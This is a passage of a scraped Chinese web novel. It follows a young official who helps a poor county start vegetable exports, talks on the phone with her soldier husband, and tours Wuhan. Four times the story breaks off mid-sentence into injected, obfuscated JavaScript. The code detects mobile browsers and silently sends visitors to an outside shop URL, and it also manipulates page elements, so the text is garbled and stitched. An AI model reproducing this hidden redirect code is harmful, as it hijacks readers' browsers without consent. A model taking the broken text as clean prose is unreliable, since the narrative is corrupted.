l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721094|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回了会议室,这次金苓和她们俩坐在了一起,听符伊年继续分析,“而且,他们售卖是怎么样的我不知道,咱们这里,只需要达到确定真空重量和总数量就行了啊,说不定他们还拿出去拆开合在一起或者分着卖呢。” 说话间,培训老师从外头走进来,在主席台上的老位子坐下,“刚刚的影片大家都看了吧,有什么感想啊。” 符伊年觉得自己好像回了大学课堂,教授在上面提出了一个问题,底下学生们鸦雀无声谁都不想当出头鸟。 不过,到底是工作了的社会人,更何况下面还有些人大小也是个领导,不好和其他人一样缩头,于是安静了只两息的时间,就有人举手了。 只要有人带头,后面发言的人就多了,大家的答案还挺五花八门的:有人说西方国家确实很先进,有人说资本主义可恶应该打倒,有人说我们可以师夷长技以制夷,有人说资本家高楼大厦都是资本家剥削来的,有人说他们的市场经营方式值得学习…… 还真是各种思想都有,像极了这个思想冲撞、百花齐放的时代。 得到十多条相同、不相同的答案,老师大概觉得差不多了,便抬手往外按了按,示意大家停止,“大家的回答我听了一下,各有各的道理,都不能说错,下面我们就来分析一下。” 符伊年听着,怎么有点不太对劲的样子,不是关于“蔬菜出口协作小组”的讨论嘛,怎么开始研究资本主义的优劣了? “马克思在《资本论》里说:资本来到世间,每个毛孔都滴着血和肮脏的东西。”老师推推眼镜,表情严肃,“英国政治家托马斯·约瑟夫·邓宁说:一旦有适应当的利润,资本就大胆起来。如果有百分之十的利润,它就保证到处被使用;有百分之二十的利润,它就活跃起来;有百分之五十的利润,它就铤而走险;为了百分之一百的利润,它就敢践踏一切人间法律;有百分之三百的利润,它就敢犯任何罪行,甚至冒绞死的危险。” “听起来,资本真的是个十恶不赦、罄竹难书的坏东西,是过街老鼠,值得人人‘得而诛之’,可是实际上资本真的这么糟糕吗?” 符伊年左右看看,大多数人的表情都是“当然如此”“这还用说”,也有人露出深思的表情。 “不用这么严肃,”老师突然笑了一下,“大家都是时代的栋梁,每个人都有自己的想法,随便说说。” “老师,”一个年纪较大的女同事举手,“资本当然是十恶不赦,因为资本家剥削的是剩余价值,是要榨干劳动者的最后一滴血。” 老师颔首,“有道理。”毕竟是《资本论》的原文。 “可是,”后排另外一个年轻的小伙子发言,“有了资本,才能更好的发展,没钱怎么修路盖房子怎么装备国防发展教育啊。” 老师脸上的笑容更扩大了些,“这个也是很现实而且比较亟待解决的问题。”老师说完看向观众席,“还有吗?” 符伊年想了想,举起了手,老师注意到,点点头示意她说。 符伊年:“可是老师,政治经济学,不是不能分开的吗?” 老师仔细看了符伊年一眼,终于露出一个明显的笑。 127. 事业开端 第一二七章 其实最开始符伊年心中是有质疑的,她们这些人明明是“蔬菜出口协作小组”的,为什么在观看了一段内部纪录影片后,开始分析、讨论起资本的利弊了? 不过转念一想,反正都是学习,学什么都好,所以后来老师提问“还有吗”的时候,她也举手了,还将两种不同的论调给合二为一了 毕竟,“政治经济”是真的不能分家的。 老师露出了一个满意的笑容,“这位同学说到点子上了,政治经济是真的不可分割的,至于这两个,哪个为本哪个为表,其实也没有一定之规,也是要具体问题具体分析的。” “对于我们,‘社会主义市场经济’这个词,就已经说明了一切。” 底下的同事们或者若有所思,或者赞同点头。 “好了,话说远了,”老师等过了一会儿才重新开口,“现在来具体分析影片中的内容。” 所有人:终于把跑到爪哇国的的话题拉回来了。 说是分析影片内容,其实谈的并不多,也的确如符伊年和刘洋、金苓讨论的话题一样,主要分析了影片拍摄者在购买蔬菜的那一部分。 毕竟他们这个小组还是叫“蔬菜出口协作小组”嘛。 两周的培训很快,第二周最后一天的下午,是结业仪式,来得领导没有第一天启动仪式时多,基本都是各部委相关的中级领导。 结业仪式嘛,除了领导讲话,成员代表总结发言,就是颁发的结业证书,没人一本大红色塑料封皮证书。 最后,由几位领导宣读了接下来的工作流程和安排。农林部和京市农林局的工作人员会下基层,分别到不同的县区、乡镇指导蔬菜种植种类、种植过程的帮扶等流程。 供销社负责给出蔬菜收购指导价格,民航局自然负责的就是空运出口了。 至于采摘、清理、包装、运输等过程,就由各自政府班子负责了——总不能什么都给他们做到位吧,那样的话和张嘴等人喂饭有什么区别。 中央想的时给他们提供一条渠道和路线信息,其他当然要自力更生、独立发展。 符伊年和金苓被分到同一组,去到的地方是京市北边的一个县。 京城人都知道,“东富西贵”说得是京城东部都是富人区、西边住的是达官贵人。而“南平北穷”说得则是南边住的都是平民,北边呢就比较贫穷。 符伊年他们去的就是这个“北”。县城的名字叫“安平县”,和安县只有一字之差。不过距离总是比安县近得多。 “我们怎么过去?”结业仪式结束后,金苓过来找符伊年,“我找人问过了,长途客车四个多小时,火车也有,时间差不多,但是逢站必停。” 符伊年其实还没思考到这个问题,只是奇怪为什么金苓如此了解。 “我就是安平县的呀,”金苓嘻嘻笑着,“以前上学年年坐这俩车。” 符伊年一听,“那感情好,你以前坐哪个咱就坐哪个啊。” “行啊,那我们就坐火车吧,几块钱,还能直达。”金苓答应的很痛快,“那我替你买票吧。”然后说了几个发车的时间,问符伊年哪个时间点比较好。 不能太晚,符伊年想了想排除掉下午的几个时间点,也不能太早,太早她也起不来,最后定了七点四十的那列车,“这样中午之前到达,咱们方便,他们也方便。” 金苓当然说好,“那我们周一火车站再见。”说完就要离开。 符伊年刚想点头,想起了什么,一下子拉住她的手臂,“你住哪儿啊,我看看放不方便,过去接你吧。” 金苓说了各地址,符伊年想了想,还真不算近,但是确实在她去火车站的路上,等等,“哪个火车站啊?南站北站?” 等金苓说了火车站名称后,符伊年放下心来,“行,那我七点钟去接你。” 两人约定好了之后,符伊年才想起来去找刘洋,刘洋也还没离开,正在一旁站着等她们说完。 “哎呀,幸好你还没走,”符伊年过去挽住刘洋的手臂,“去吃饭吧?想吃什么?” 刘洋比符伊年幸运点,她被分去西城区去指导工作,西城区哎,农民很少的,工作大概会比她清闲些。 这个周日是祝镕离开的第二周,这一周家属楼总算拉好了电话线安上了电话机,符伊年也总算不用再掐着点往祝镕办公室打电话了。 之前为了不影响他的工作,符伊年都是卡着下班的时间给祝镕打电话,而且每次通话都不敢超过十分钟,毕竟是办公室电话,虽然下班了说不定也会有人找他。 现在总算不用考虑那么多了,只要祝镕下班回家就可以打电话,想打多久就打多久,她又不差那点电话费。 不过,还是在某天容院长发现家中大额电话费支出后给的暗示时,略略收敛了一下,从一天一次通话,变成了两三天一次。 符伊年其实后来也想过了,联系太紧密确实不好。首先两人都不是闲人,工作还蛮多的,尤其祝镕。然后就是,至亲至疏夫妻,彼此也要给彼此一定的空间,这和“小别胜新婚”是同样的道理。 得知符伊年要下基层,祝镕并不反对,只是叮嘱她多带些衣服,“最好自己带一套床单被套。” “啊,对的。”符伊年被他提醒,一下子记起来了,“我说我总觉着忘了什么东西呢。” 祝镕笑笑,继续叮嘱她,“下边县区的条件没那么好,吃得估计一般,你要不要自己带些罐头什么的?” 符伊年迟疑了一下,“不用了吧,让人家看着,好像我多吃不了苦似的,再说条件再差吃得再不好,能有前几年条件破吃得差啊?” 怎么说也改革开放三四年了,又是京城周边的县区,总不会差太多。 不过既然祝镕这么提醒了,符伊年觉得还是做个准备,有备无患,“大不了我带一袋奶粉和奶糖,目标比较小,不易被发现。”也就不会被人指指点点背后说闲话了。 “也好,你自己看着办吧,别委屈自己就是了。”祝镕不再过多干涉,兴许吃议会亏她就学乖了。 “说到委屈,你为什么总是提示生活上的事情,”符伊年问出自己的疑惑,“干嘛不担心我再工作上被刁难受委屈?” 祝镕:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725369|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能我比较相信你的工作能力吧。” 符伊年:“你看我信不信呢?别油嘴滑舌了,说实话。” 其实符伊年还真的挺怕下去后被安平县的工作人员刁难或者被推诿、阻塞,导致工作无法推进、施行。 祝镕稍微一想就推测出了符伊年的担忧,收起玩笑正经起来,“不至于。虽然你和那个姓金的同事都是年轻女同志,且不提你们是部委下去指导工作的,就光说你们的工作是帮助他们摆脱贫困、增加收入,他们都会非常用心地帮着你们的。” 符伊年想了想,的确如此,她们是去帮他们创收的呀,虽然这么说不太好听,可是谁不爱小钱钱呢? 所以,此次工作,应该会很顺利。 不过即便如此,祝镕还是提点了她几句,告诉她说话办事要讲究方式方法,“缓和着来,你这直来直去的脾气,要收敛着些。”想到符伊年那喜欢打直球的性子,祝镕还挺担忧的。 “哎呀,知道了。”符伊年在这头翻了个白眼,“对你和对外人能一样嘛!” 祝镕得意地一笑,“那是,当然不一样。” 插科打诨了两句,时间不早,电话快要挂断时,祝镕又想起来几件事,“过去了不强势也不弱势,咱们不惹事也不怕事,真的起了纠纷也不用怕,找领导,领导不管就找爸爸。” 符伊年“扑哧”一声笑起来,“小孩子打架吗,打不过就告家长。” 祝镕不知道想到了什么,笑的很欢乐,“爸爸应该会很乐意你去找他告状的。”毕竟是在我身上没享受到的感觉。 周日一整天,符伊年都在收拾行李。她们这次下基层,起码要待一个月,这一个月里要帮着组建班底、宣传政策和指导实行。一个月后虽然回部委工作了,但是还是要断断续续的过去查看、帮忙。 符伊年想了想,觉得这个模式大概就是后来“对点帮扶”政策的雏形。 老祖宗说“授人以鱼不如授人以渔”,这是有道理的。与其给米给面给金钱,不如教给知识、本事、技术,自力更生,才会越来越好。 张嘴等饭吃不时长久之计,万一哪天人家不给了,岂不是要饿肚子? 符伊年最后带的行李还是一只拉杆行李箱和一只双肩包,只是这一次重量就种多了。她没有带很多衣服,因为只有一个月嘛,离得又近,有需要可以回来拿。不过,符伊年多带了一套床单被套,以防洗了不干没有换的。 其他的日用品自然不用说,护肤的、美妆的、防晒的,还有最重要的卫生巾。 符伊年拉了柳旻联合开办的那个卫生巾厂家,去年已经建好开始生产、上市销售,符伊年将其取名“护尔舒”——保护你,让你感受舒服。 其实上面这些也就装了半个行李箱而已,剩下的半个行李箱,装的全是符伊年同祝镕提到的奶粉、奶糖、巧克力这些可以打牙祭的零食。 要不是现在还没方便面,符伊年一定会再带上半箱方便面的,毕竟这可是居家旅行必备方便食品呢。 其实,符伊年不知道,就在去年,粤省的海贝市就已经有了全国第一家方便面厂家了。 128. 出差 第一二八章 周一清早,符伊年起床洗漱吃了早餐,由容院长的司机送她去了火车站,路上还顺便接了金苓。 金苓的东西不多,只有一只手提包,见符伊年诧异,她笑着解释说因为她家就在安平县,随时可以去取。 符伊年记起来,上次她说过的,是自己没记住,“对不起啊。” 金苓摆摆手,“有啥可对不起的,谁也不可能别人说啥都能记住,又不是电脑。” 因为改革开放,越来越多的人外出找工作谋生、做生意,他们南下北上、走东闯西,于是国民出行频率高了起来,人口流动也比以前大。 这样的情况下,无论是汽车站还是火车站,日日都是人流攒动,客流量高的车站如京城西火车站、京城火车站,甚至会出现摩肩接踵的情况。 至于飞机场,此时乘坐飞机还需要介绍信,更何况,飞机票虽然如祝镕所言“还不到一百块”,但对于这个时候的普通民众的收入来说,也是高消费了。 所以,很久没有乘坐过火车的符伊年看到车站挤挤挨挨的乘客和他们的大包小包,很是吃了一惊,“这,这么多人啊?” 金苓看到符伊年的吃惊的表情,想到今早送她们到火车站的小汽车,若有所思。 “我上次坐火车,还没有这么多人呢,才两年,人口流动这么大了吗?”符伊年情不自禁地问出心底的疑惑。 倒是金苓,听到她的话有点诧异,转头看向符伊年,“你还坐过火车啊。” 符伊年被她问的一愣,“当然啊,寒暑假回家经常坐火车的。” “你不是京城人吗?”金苓更诧异了,“我一直以为你是京城人。” 符伊年笑起来,“误会了,我是安县的,在京城和北河交界处,我爱人是京城人。” “你,你结婚了?”这可真是惊讶连着惊讶,“我记得你还比我小一岁,才二十三?怎么那么早结婚啊。” 这么年轻,还漂亮,又有文化有学历,干嘛那么早嫁人啊。不过想到今早那辆小汽车,好像又找到了原因。 符伊年不知道金苓已经想歪了,以为她单纯好奇,就解释了一句,“我爱人是军人,他从战场上回来后我觉得既然就是这个人了,也就不等了。” 两人一边聊天一边等待,很快就开始排队检票上车。 金苓买的是硬座车票,车厢里人不少,几乎人人都带了很多行李,听他们的交谈,似乎是去南方进货的,然后带回老家售卖。 这趟车从京城到安平县用时五小时十五分钟,途径十三个站点,而且逢站必停。 刚开始两站还好一些,停下车后都是普通的上下车乘客,等到第三站,此时车子已经驶出了城区了,这时候上来的“乘客”,就都不普通了:有咕咕鸡、有嘎嘎鸭、有哼哼猪,还有成筐的土豆、红薯和一些不是那么新鲜的辣椒、茄子等。 符伊年明白了。这趟车其实就是后世高铁、特快遍地但是仍然存在的那种专为农村、农民服务的“绿皮车”。 听这些“乘客”的携带者们说,是因为今天在安平县有一场大集,他们都是拿东西过去卖,顺便看看有没有什么家里需要的可以购买。 符伊年忍着各种小动物散发出来的气味,看向身边的金苓。 金苓讪笑,“那个,我忘了。” 古语云:入鲍鱼之肆,久而不闻其臭。虽然原文的意思是比喻与人相处,不过放在这种情况下也挺合适的——刚开始的时候挺难闻,闻久了吧,也就不臭了。 在距离到达安县前的两个站时,乡亲们就提着各自的东西下车了。大集就在这个镇上,离县城还是有些距离的。 等到乡亲们一下车,金苓顾不得天气还冷,立即把窗子打开,让寒风吹进来把异味带走。 符伊年莫名地就想起了七七年冬天,高考结束后她回乡下老家,那次也是差不多的情况,长途客车上除了人,还有鸡鸭之类的,导致车厢里都是异味。 只是当时开窗换气遭到反对了,她最后下车时沾染了一身的鸡鸭粪便的气味。 到达安平县的时候,已经是午后一点多了。令符伊年没想到的是,县政府居然派了人来接,工作人员在出站口举着一个牌牌,上面写了符伊年和金苓名字。 接到她们后,工作人员询问是先去招待所住下,还是去吃饭。 “先回招待所住下吧。”符伊年想了想,提议道,“身上味儿有点大。” 工作人员显然对她们乘坐的车有了解,“今天不巧,底下有些镇子有大集。平时不至于。” 工作人员把她们送到县政府招待所,帮忙把行李提上楼,又和她们约定了接她们去办公室的时间,之后就离开了。 符伊年和金苓拿钥匙开了门,进去后分别去洗了手、脸,又换了衣服,整理了一番,然后下楼再招待所的餐厅吃了午饭。 午饭刚吃好,来接的车就到了。 两人带着必备的资料,坐着县政府唯一的一辆面包车,过去和当地的领导会面。 经过一系列的欢迎啊讲话啊,符伊年和金苓进入了县林业局为她们俩准备的办公室,开启了两人一个月的指导、帮扶工作。 其实,这次的工作没有符伊年想象的那么劳累,她们俩更多是政策性和统筹性的工作,具体工作当然有本地工作人员来执行。 “咱们这次工作,我觉得千头万绪的,”金苓再自己位子上坐下来,叹气,“也不知道他们会不会配合。” “乱麻总有头的,慢慢来,”符伊年安抚她,至于后面那个问题,“谁会钱咬手啊,咱们是来帮他们赚钱的啊。” 符伊年有点好笑,前天晚上还是祝镕开导自己呢,今天就轮到自己开导她了。 这一个月,工作不算忙碌,但也没有清闲。符伊年和金苓商议了一下,将这一个月的工作分成了四个步骤,每个步骤用时一周的时间。 第一步,收集蔬菜种类。第二步,挑选并确定栽种何种蔬菜种类。第三步第四步就是将蔬菜清理、称重、包装的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729160|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 标准传授下去。 反正现在天气这么冷,土地还没化冻,除了蔬菜大棚,是没法开垦种植的——如果有蔬菜大棚的话,安平县恐怕就不会这么贫困了。 好在,如同祝镕对符伊年所说、符伊年又告诉金苓的话一样,大家都知道这是一件增加财政和农民收入的两全其美的事。 所以,整个工作推进施行的算是比较顺利,一个月后,两人不辱使命地完成了上级交给的任务。 与此同时,符伊年带来的两袋奶粉、一包奶糖和两大块巧克力,也全部消耗完了。 其实安平县提供的伙食还可以,符伊年和金苓两个人用饭,每顿都有至少两个菜,,虽然新鲜蔬菜不多,但是总能做到每天有一个素菜。 但是人呢,就是这个样子的,吃多了正餐,总想搞些零食吃吃,要不是这时候还没有烤串烧烤这类,好不容易脱离了家长(姑婆和容院长)的视线,符伊年一定每天都搞一些吃。 共同工作的最后一天,其实前面工作基本都结束了,符伊年和金苓定了当天下午的火车票返回京城。 当地政府的工作人员提议在本地最好的饭店为两人践行,“既是践行,也是感谢两位这一个月的帮助和提点。”这一块的主要负责人很真诚地说到。 符伊年和金苓对视一眼,异口同声地说:“不用了。” “太破费了,没必要。”金苓说,同时看向符伊年,“我们买了下午的火车票,很快就离开了。” “哎呀,下午的票嘛来得及,午饭总要吃的,”工作人员说到,“你们辛辛苦苦工作一个月,我们总要有点表示。” 周围其他的工作人员也在极力劝说,最后符伊年和金苓对视了一眼,答应下来,不过,“不用去什么最好的饭店了,就在单位食堂吃一顿好了,既不破费也不麻烦。” 最后就是在食堂吃得午饭,即便如此,饭菜也十分的丰盛,桌上甚至还放了一瓶五粮液。 符伊年皱眉,看向几位同行的当地领导,“酒就免了吧,我以茶代酒敬诸位,感谢诸位这段时间的照顾和协助。” 金苓也跟着端起茶杯向几人敬“酒”。 并没有人勉强或者为难她们,本来这顿饭就是感谢宴,当然以她们俩的意见为主。席间,当地的领导和工作人员都过来同两人敬酒,说些感谢的话语,以至于最后符伊年和金苓饭菜没吃多少,光喝茶水了。 “幸好是茶水,不是酒。”等上了火车,金苓心有余悸地说,“就是那么多菜都没吃几口,小灶师傅厨艺不错呢。”有点惋惜的样子。 符伊年呵呵笑了两声,从身边的双肩包里掏出两个饭盒和两双筷子,把饭盒打开,露出里面的饭菜,在金苓目瞪口呆的表情中塞了一双到她的手里,“吃吧,都是没动过的。” 金苓回过神来,看看装满了饭菜的饭盒,对着符伊年竖起一个大拇指,“牛X!” 符伊年笑笑,她只是记起了本山大叔那个“牛大叔”的小品,不想干些“扯蛋”的浪费事罢了。 129. 变化 第一二九章 回到京城那天是周五,周六一早符伊年去到部里报道并交了工作总结和心得,领导又问了几个相关的问题后,满意地点头,大手一挥放了她一周的假。 符伊年是没想到一个月的出差竟然换来了一周的休假,非常的惊喜又兴奋,从单位出来就直奔火车站,想买当晚的火车票去西安找祝镕。 从火车站回家,正好遇到容院长回来午休,见她一副兴高采烈地样子,容院长询问她发生了什么开心的事,“说出来大家开心开心。” “领导说我出差工作做得好,放了我一周的假!”符伊年挥了挥手里的车票,“明天坐车去找祝镕!” 她没买到今晚的票,只好买明天的。 容院长作为过来人,自然知晓她的心思,也高兴小夫妻感情好,表面上却装出不开心的样子,“啧啧,果然啊,姑娘就是胳膊肘往外拐,有了男人忘了娘。” 符伊年愣住,这话怎么说的,您这角色带入是不是翻个儿了?您不是婆婆吗?怎么嫌弃起自家儿子了? “我,那个,要不,我去退票?”符伊年瞄着容院长的表情,忐忑地说,“我在家多陪陪您?” 容院长被她这副小心翼翼的样子逗笑了,伸手点了点她,“人在曹营心在汉。” 符伊年听出了容院长的打趣,也就知道她刚刚那个不开心的样子是假装的了,立即凑上前挽住她的胳膊,半真半假地抱怨,“您又拿我寻开心。” 站在门口看了她们一会儿的姑婆这个时候出声,“吃饭了,不饿啊你们。” “哎,来了。”容院长答应着,和符伊年对视一眼,一同进了餐厅。 吃饭的时候,容院长问了些符伊年出差的事,因为昨天符伊年到家时太晚了,只互相道了晚安,别的都没来得及说。 符伊年就挑了能说的说了些,最后道:“这次的工作启发和收获不少,我打算写一篇论文出来。” 容院长十分赞同,并且对她鼓励,“好啊,写论文既是总结也是学习,很有好处。” 符伊年:“不过可能没那么快,这个过程可能有点久,收集数据什么的估计要几个月。” “没关系,”容院长安抚她,“等你写完告诉我,我找人帮你看看你再投稿。” 这就是找人帮她背书的意思了。 符伊年喜出望外,“谢谢妈妈。” 天气渐渐变暖,厚重冬装收起,春天的风衣、外套上了身。符伊年将几身春装衬衫放进行李箱里,打算带去西安。 符伊年很开心,连整理行李的时候都在哼歌:甜蜜蜜~你笑得甜蜜蜜~好像花儿开在春风里~啊~~开在春风里~~ 姑婆在正房正厅看电视,听到她的歌声,疑惑地看向容院长,“年年这是唱什么剧呢?调儿没咋听过,词儿挺耳熟?” 容院长面无表情,“可能是自己创作的吧。” 可不是自己创作的嘛,词儿还是那几句词儿,调儿一个都不是原来的调儿了,全新编曲! 符伊年不知道自己无意间已经被容院长冠以“编曲家”的称号了,她像一只小蜜蜂一样,忙来忙去。 然后这只小蜜蜂就被祝镕的一通电话喊停了,戛然而止的,还有她兴奋的情绪。 挂掉电话之后,符伊年将收拾好的衣物一件件拿出来,放回原来的位置。 看完一集电视剧的姑婆起身活动身体,走了到门口向东厢房张望,“年年咋不唱了?” “接电话呢吧。”容院长翻过一页书,刚刚电话铃响时她看了眼来电显示,知道是祝镕打来的就没有接,符伊年会在她房间的分机接。 姑婆又看了两眼,觉得不太像,但是也没多想,正好广告结束,她就坐回去继续看下一集了。 改革开放之初,华国就有了的电视广告,第一支广告是沪市电视台的《参桂补酒》,只是这则广告更倾向于纪录片。真正的第一支商业广告,就是后来众所周知的——雷达手表。 看了一会儿,姑婆突然问到,“年年明天几点的车去西安啊?来得及的话,明早我包点饺子给祝镕带上。” 祝军长就是这个时候回来的,迈进门槛的时候正听到后面半句,脚步顿了一下,“什么给祝镕带上?带什么东西?” 容院长和姑婆一起看过来,不约而同地问:“你吃了吗?” 祝军长摆摆手,“吃过了。你们刚说给祝镕送什么?”仍然执着刚刚的问题。 “年年出差工作做得好,领导给她放了一周的假,她明天火车去祝镕那里,姑婆说如果来得及就包些饺子给他带去。”容院长解释得很详细。 祝军长听了摆摆手,“不用包,也不用去,祝镕没时间。” 容院长挑眉,“军演啊?” 祝军长摇头,“全军大比武”。 容院长有点诧异,“今年怎么这么早就大比武?”每年都是五一前后啊。 祝军长没再多说,倒是在一旁坐着姑婆突然觉得有点遗憾,“那年年要很失望了。”下午看着可开心的样子了。 正厅里正在说话,突然一阵铿锵有力的高亢歌声从东厢房传来:狼狈~狼楼~碗里汤汤江笋永八馊~ 祝军长&容院长:沉默,是今晚的你我。 姑婆站起来走到正厅门口朝东厢房问:“年年饿了吗?想吃笋汤?” 歌声停了下来,然后就听到符伊年喊:“姑婆,不饿,你接着看电视吧。” 被这么一打岔,符伊年也唱不下去了,干脆坐在床上往后一仰,躺到了床上,抓过旁边的枕头抱在怀里,长叹一声,翻了个身,看向窗外的夜色,半轮月亮挂在西厢的房顶上空,这个时候空气污染尚不严重,还能看到星星。 海上生明月,天涯共此时。 也好,不能去就不能去吧。古人都说了:此情若是久长时,又岂在朝朝暮暮。 而且,祝镕三十岁了,又是一团之长,正是拼事业的时候,虽然他有一定的基础,家世也相对不错,可正因为这样,才要更加努力和拼搏,脚踏实地不断向上。 尤其现在是新时代,对部队主官的要求越来越高,以后的路也越来越难走,现在努力些,好过将来被人超越时后悔。 对于自己的忙碌,祝镕觉得对符伊年很抱歉,但是也没有办法,同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733158|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样是不能见面,她留在京城起码处处都是熟悉的,同事朋友都在,若是来了部队,就只能留在军区家属楼,周围熟悉的人也不多。 “既然有一周的假期,那就好好休息吧,”祝镕当然知道符伊年很失望,他也很遗憾,他对符伊年提议,“或者有哪里想去旅游的,去玩一玩也好,反正一周的假期呢。” 符伊年当时刚被告知不能去找他,听到这个提议兴致缺缺,“再说吧。” 当时对这个提议没往心里去,现在想想,也许可以听听,趁这个机会去旅旅游,世界那么大,可以去看看。 嗯,去哪儿呢?符伊年抱着枕头又翻了个身,祖国大好河山,几乎处处都有美丽风景和人文景观,这个时节,春分已过清明未至,全国大部分地区都在回暖了,好玩的地方就更多了。 想看冰雪可以去哈城或者疆省,想去海边有琼省和闽省厦门,若要爬山,五岳险峰自迷人,若要看水,长江三峡风姿秀,想吃美食可以去羊城,想看历史可以去西安。 哦,西安这次就算了。 符伊年想着想着,逐渐有了睡意,睡前迷迷糊糊地想:要不找张地图蒙眼扔飞镖,飞镖扎到哪里算哪里。 第二天清晨,符伊年一出门,就发现地面湿漉漉的,下雨了。这算是今春的第一场雨,不算大,比毛毛雨密一些,落在人肩上凝成一层水珠,轻轻一扫,就掉了。 因为今天是周日,容院长和祝军长都在家,和姑婆一起正坐在餐桌边吃早餐。 “姑婆早上好,爸爸早,妈妈早。”符伊年挨着姑婆坐下,有点不好意思,“我起晚了。” 姑婆夹了个包子放到她面前的碗里,“不晚,年轻人就是要多睡。” 容院长也点头,“你不知道我多羡慕你能睡呢。”她年纪上来了,睡眠就少了。 祝军长没有参与她们的话题,他等符伊年吃完一个包子后,问她,“听说你接下来有一周的假期啊?打算做些什么?”不会真在家睡一周吧?人会睡颓废的。 “唔,想出去旅游。”符伊年说出自己的想法,“爸爸,祝镕参加的那个全军大比武在哪个城市啊?” 祝军长挑眉,“你要去啊?祝镕不可能出来的,他是带队,责任在身,不能离开。” “没关系啊,”符伊年,“我本来也不是去找他的。” 祝军长和容院长对视一眼,都在各自的严重看到了彼此的想法:我不信。 反正不管信不信吧,祝军长还是透露了这次全军大比武的地点:江城。 符伊年知道江城。如果说京城是华国政治意义上的中心,那么江城就是地理意义上的中心——地处中部平原,长江的中点,素有“九省通衢”之称,铁路运输网的交汇处…… 当天下午,符伊年收拾收拾,就坐上了南下江城的火车。 这个时候,京广线已经全线贯通了,只是受限于技术手段,车速尚不如后世的高,所以从京城到江城,用的时间也格外久。 十多个小时的车程后,到达江城时正是清晨,符伊年从车厢里,在温暖湿润的空气中,伸一个懒腰,拉着行李箱,走出火车站。 130. 广告 第一三零章 符伊年在武汉待了五天,周一到的,周五晚上返回京城的。 这五天里,她是真的一眼都没有见过祝镕,连个影子都没瞄着。不过,说符伊年心理作用也好,当位于同一个城市、感受同一样的天气、仰望同一片天空,心里总是会有一些慰藉。 很久之后知道她的内心情绪的祝镕,无语,心说:你感受的是武汉的温热气候、呼吸的是湿润的空气,我身处的是干燥大风的戈壁滩,呼吸的是冷冽干燥空气,完全不一样好吧。 知道内情的祝军长:我就笑笑不说话。 在武汉的这几天,符伊年游玩了不少的地方,首先去的地方就是黄鹤楼。 故人西辞黄鹤楼,烟花三月下扬州。 非常巧合的,此时正是农历三月,武汉的气候非常好,温暖湿润,非常舒服。符伊年脱掉毛衣毛裤,换上轻巧的长袖长裙, 符伊年买了票,沿着木制楼梯登楼。黄鹤楼楼高五十多米,从外面看只有五层,攒尖顶,层层飞檐,四望如一,附属建筑有仙枣亭、石照亭、黄鹤归来小景等,远远望去整座楼,形如黄鹤,展翅欲飞。 但是实际上,黄鹤楼内部有九层楼,层层陈列装饰不同。因为从八零年开始,黄鹤楼开启了维修工程,今年主体建筑修好开始对外开放。 一路上到五楼,这里是黄鹤楼的瞭望观景楼层,在这里可以清楚地看见呼啸而过的京广线列车,和苍莽奔腾的大江。 从黄鹤楼下来,符伊年去了武大。此时正是烟花三月,气候温暖宜人,武大校园主干道两侧的樱花开得正好,春风吹过,飘飘洒洒、落英缤纷,颇有一种“今朝同淋雪,他日共白头”的浪漫。 第二天,符伊年去看了长江大桥。武汉长江大桥连同两端公路引桥在内全长1670米,全宽22.5米。大桥一共两层,下层为双线铁路桥,是京广铁路重要路段;上层是公路桥,车行道宽18米,两侧人行道各宽2.25米,链接了武汉长江两岸城区,促进了共同发展。 在大桥两端本来还各有一个桥头堡的,十分不巧,符伊年来游玩的时候桥头堡因为维修关闭了,不能参观,只能在护栏外观看外形:四方八角,上有重檐和红珠圆顶。 在大桥的一侧有一座五六米高的石碑,上面写着“武汉长江大桥”的字样。看着这几个字,符伊年突然想起了关于“武汉市长名叫江大桥”的笑话。 后面几天,符伊年又去了晴川阁、古琴台、户部巷、辛亥革命纪念馆、武昌起义军政府旧址,去吃了热干面、糯米鸡、三鲜豆皮、糊汤粉…… 一路走一路吃,最后在火车“逛吃逛吃”的声音中,返回了京城。 直到火车发车驶出车站,符伊年才想起来,自己原本其实是真的想空出一天来,看看祝镕有没有时间能见一面的,结果别说见面,火车都开出去挺远了,她才想起来祝镕。 光顾着逛吃拍照了,忘了老公。 回到京城时,也是清晨。京城的清晨比武汉冷多了,一处车厢就感受到了一种砂纸磨脸的冷冽。 “阿嚏!” 一声喷嚏,符伊年赶紧从双肩包里找了大衣、围巾、帽子、手套出来,穿戴好,这才往出站口走。 